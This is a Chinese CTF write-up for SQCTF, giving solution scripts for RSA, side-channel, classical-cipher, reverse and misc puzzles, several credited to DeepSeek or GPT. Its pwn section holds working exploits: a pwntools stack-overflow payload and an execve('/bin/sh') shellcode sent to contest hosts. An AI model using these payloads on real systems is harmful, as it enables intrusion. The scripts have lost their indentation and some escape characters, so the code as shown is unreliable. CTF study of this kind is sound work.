n = 15124759435262214519214613181859115868729356369274819299240157375966724674496904855757710168853212365134058977781083245051947523020090726851248565503324715984500225724227315777864292625995636236219359256979887906731659848125792269869019299002807101443623257106289957747665586226912446158316961637444556237354422346621287535139897525295200592525427472329815100310702255593134984040293233780616515067333512830391860868933632383433431739823740865023004008736555299772442805617275890761325372253913686933294732259451820332316315205537055439515569011020072762809613676347686279082728000419370190242778504490370698336750029
e = 65537
dp = 1489209342944820124277807386023133257342259912189247976569642906341314682381245025918040456151960704964362424182449567071683886673550031774367531511627163525245627333820636131483140111126703748875380337657189727259902108519674360217456431712478937900720899137512461928967490562092139439552174099755422092113
c = 4689152436960029165116898717604398652474344043493441445967744982389466335259787751381227392896954851765729985316050465252764336561481633355946302884245320441956409091576747510870991924820104833541438795794034004988760446988557417649875106251230110075290880741654335743932601800868983384563972124570013568709773861592975182534005364811768321753047156781579887144279837859232399305581891089040687565462656879173423137388006332763262703723086583056877677285692440970845974310740659178040501642559021104100335838038633269766591727907750043159766170187942739834524072423767132738563238283795671395912593557918090529376173
# Step 1: Find p using dp
for k in range(2, e):
if (e * dp - 1) % k == 0:
p = (e * dp - 1) // k + 1
if n % p == 0:
break
# Step 2: Compute q and phi(n)
q = n // p
phi = (p - 1) * (q - 1)
# Step 3: Compute d
d = gmpy2.invert(e, phi)
# Step 4: Decrypt c
m = pow(c, d, n)
# Convert to bytes
flag = long_to_bytes(m)
print(flag)
ez_SCA
测信道攻击
deepseek太牛逼了,又一把梭

import numpy as np
# 加载模板轨迹
template_0 = np.load('D:/buuctf/ez_SCA/template_trace_0.npy')
template_1 = np.load('D:/buuctf/ez_SCA/template_trace_1.npy')
# 加载目标轨迹
traces = np.load('D:/buuctf/ez_SCA/energy_traces_with_flag.npy')
# 逐位恢复比特
recovered_bits = []
for trace in traces:
dist_0 = np.linalg.norm(trace - template_0)
dist_1 = np.linalg.norm(trace - template_1)
bit = 0 if dist_0 < dist_1 else 1
recovered_bits.append(str(bit))
# 转换为文本
def bits_to_text(bits):
chars = [bits[i:i+8] for i in range(0, len(bits), 8)]
text = ''.join([chr(int(char, 2)) for char in chars])
return text
bit_string = ''.join(recovered_bits)
flag = bits_to_text(bit_string)
print("Flag:", flag)
你的天赋是什么
一眼莫斯密码,在线网站解密即可

SQCTF{YOU-HAVE-TALENT}
Common Modulus
deepseek一把梭

from libnum import *
import math
n = 13650503560233612352420237787159267432351878281073422449253560365809461612884248041710373755322100953953257608601227381211434513766352420535096028618735289379355710140356003114010103377509526452574385251495847301426845768427018504464757671958803807138699056193259160806476941875860254288376872925837127208612702688503022494109785623082365323949385021488106289708499091818714253710552213982060745736652306892896670424179736886691685639988637188591805479432332714690818805432648223229601082431517091667297328748597580733946557364100555781113940729296951594110258088501146224322799560159763097710814171619948719257894889
c1 = 3366500968116867439746769272799247895217647639427183907930755074259056811685671593722389247697636905214269760325119955242254171223875159785479900114989812511815466122321484289407596620307636198001794029251197349257235827433633936216505458557830334779187112907940003978773672225479445837897135907447625387990203145231671233038707457396631770623123809080945314083730185110252441203674945146889165953135351824739866177205127986576305492490242804571570833778440870959816207461376598067538653432472043116027057204385251674574207749241503571444801505084599753550983430739025050926400228758055440679102902069032768081393253
c2 = 7412517103990148893766077090616798338451607394614015195336719617426935439456886251056015216979658274633552687461145491779122378237012106236527924733047395907133190110919550491029113699835260675922948775568027483123730185809123757000207476650934095553899548181163223066438602627597179560789761507989925938512977319770704123979102211869834390476278761480516444396187746843654541476645830961891622999425268855097938496239480682176640906218645450399785130931214581370821403077312842724336393674718200919934701268397883415347122906912693921254353511118129903752832950063164459159991128903683711317348665571285175839274346
e1 = 4217054819
e2 = 2800068527
# 检查e1和e2是否互质
assert math.gcd(e1, e2) == 1
# 使用扩展欧几里得算法求系数
def extended_gcd(a, b):
if b == 0:
return (a, 1, 0)
else:
g, x, y = extended_gcd(b, a % b)
return (g, y, x - (a // b) * y)
_, s1, s2 = extended_gcd(e1, e2)
# 确保s1和s2是正确的
if s1 < 0:
s1 = -s1
c1 = invmod(c1, n)
if s2 < 0:
s2 = -s2
c2 = invmod(c2, n)
# 计算明文
m = (pow(c1, s1, n) * pow(c2, s2, n)) % n
# 转换为字符串
flag = n2s(m)
print(flag)
《1789年的密文》
杰斐逊圆盘密码
gpt一把梭
disks = [
"QWXZRJYVKSLPDTMACFNOGIEBHU",
"BXZPMTQOIRVHKLSAFUDGJYCEWN",
"LKJHGFDSAQZWXECRVBYTNUIMOP",
"POIUYTREWQASDFGHJKLMNBVCXZ",
"ZXCVBNMASDFGHJKLPOIUYTREWQ",
"MNHBGVCFXDRZESWAQPLOKMIJUY",
"YUJIKMOLPQAWSZEXRDCFVGBHNM",
"EDCRFVTGBYHNUJMIKOLPQAZWSX",
"RFVGYBHNUJMIKOLPQAZWSXEDCT",
"TGBYHNUJMIKOLPQAZWSXEDCRFV",
"WSXEDCRFVTGBYHNUJMIKOLPQAZ",
"AZQWSXEDCRFVTGBYHNUJMIKOLP",
"VFRCDXESZWAQPLOKMIJNUHGBTG",
"IKOLPQAZWSXEDCRFVTGBYHNUJM"
]
key = [4, 2 ,11, 8, 9, 12, 3, 6, 10, 14, 1, 5, 7, 13]
cipher = "UNEHJPBIUOMAVZ"
# 将 key 从 1-based 变为 0-based
key = [k - 1 for k in key]
# 获取密文对应的圆盘字符轮
selected_disks = [disks[key[i]] for i in range(len(cipher))]
# 遍历所有可能的偏移(0~25),尝试拼接出一行可读文本
for offset in range(26):
candidate = ""
for i, ch in enumerate(cipher):
disk = selected_disks[i]
idx = disk.index(ch)
decoded_char = disk[(idx + offset) % 26]
candidate += decoded_char
print(f"Offset {offset:2}: {candidate}")

SQCTF{maketysecgreat}
PWN
浅红欺醉粉,肯信有江梅
nc进去cat flag即可
领取你的小猫娘
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[76]; // [rsp+0h] [rbp-50h] BYREF
int v5; // [rsp+4Ch] [rbp-4h]
init(argc, argv, envp);
v5 = 0;
puts("[+]Welcome to SQNUCTF!");
sleep(1u);
puts("[+]Cat girl is super hungry now, she won't give a flag if she doesn't have anything to eat.");
puts("[+]hint:Virtual cat girl loves to eat characters");
gets(v4);
if ( v5 )
{
backdoor();
}
else
{
puts("[*]I haven't eaten enough, you scoundrel.");
puts("[*]Hmph, I won't talk to you anymore!");
}
return 0;
}
可以看出缓存区溢出。
gets来填充v4覆盖v5即可
deepseek一把梭
from pwn import *
p = remote('challenge.qsnctf.com', 31406)
# 构造payload
payload = b'A' * 76 + p32(1) # 填充v4后直接覆盖v5为1
# 发送payload
p.sendlineafter(b'[+]hint:Virtual cat girl loves to eat charactersn', payload)
# 交互拿flag
p.interactive()
我觉君非池中物,咫尺蛟龙云雨

就给了这些,其他的啥也没有
在data段有个bin/sh,但是好像没用到
因为有个read,且程序没开保护,所以直接通过read写入一个shellcode进去,然后通过write打印出flag
from pwn import *
p = remote('challenge.qsnctf.com', 30995)
shellcode="x48x31xf6x56x48xbfx2fx62x69x6ex2fx2fx73x68x57x54x5fxb0x3bx99x0fx05"
p.sendline(shellcode)
p.interactive()
reverse
ezRe
exe文件反编译成pyc,在反编译成py。运行即可。
慕然回首,那人却在灯火阑珊处
经典迷宫。flag是路径

点击maze看一下迷宫

maze = [
"S**#######",
"##*#######",
"#**#######",
"##**######",
"###*###**#",
"#***###**#",
"#*#####**#",
"#*#####*E#",
"#*******##",
"##########d"
]
ddsssdssaasssddddddwd
往事暗沉不可追
exe反编译pyc,pyc反编译py,然后deepseek一把梭
encrypted_data = [127,131,125,123,135,127,133,123,125,131,127,135,131,123,135,125]
decrypted = [x ^ 0xFF for x in encrypted_data]
print(decrypted)
SQCTF{128,124,130,132,120,128,122,132,130,124,128,120,124,132,120,130}
击败abyssun
打开游戏,CE导入进程,游戏结束后查看内存,搜索字符串:

圣人当仁不让
gpt一把梭

import base64
def reverse_vm_execute_fixed(transformed_bytes):
original = []
for b in transformed_bytes:
transformed = (b - 3) % 256 # 确保在合法范围
original_byte = transformed ^ 0xAA
original.append(original_byte)
return bytes(original)
# Target base64 string
target_base64 = "/P7sAe/U0s7c1vjb0vjfyt=="
# Step 1: Decode base64
decoded = base64.b64decode(target_base64)
print("[*] Base64 decoded bytes:", decoded.hex())
# Step 2: Reverse vm_execute to get original input
original_input = reverse_vm_execute_fixed(decoded)
print("[*] Original input bytes:", original_input)
print("[*] Original input as string:", original_input.decode(errors='replace'))
misc
Welcome_Sign_in
公众号关注回复
王者荣耀真是太好玩了
给了图片,王者荣耀搜ID:超下饭的萌新

百度地图找一下,看该店的评论区即可

love.host
给了jpg图片
发现藏着一个zip。formost提取一下即可

ez_music1
audacity打开,查看多视图即可

宝宝你是一只白色大猫猫
一张图片,用silenteye解密可以拿到半张二维码

然后随波逐流修复宽高即可

piet
题目提示了piet。直接下载一下然后解密图片即可
https://www.bertnase.de/npiet/npiet-1.3a-win32.zip

问卷
写完即可
老君山的落日好美
zip用ARCHPR纯密码爆破一下,然后拿到的图片文件用watermark盲水印提取


SQCTF{luorihaomei}
孩儿们等我破军
第一关:计算一下矩阵,取左右两边的数为15375022,这个就是压缩包密码,打开
第二关:解压出来后6长图片,我们放010,每个文件后面都有两个关键字reflect={}

6个分别是:["We", "c", "L1", "0", "e", "M"]
不难看出组合起来是单词WeL1c0Me,这就是压缩包密码
第三关:图片用010打开,文件尾部有特殊字符串

base32解密为wow!ta’s ctfer?!,这是压缩包密码
第四关:得到一个带着破军的二维码,ps软件将黑色补上扫一下。
小巷人家
社工,谷歌识图一下就出




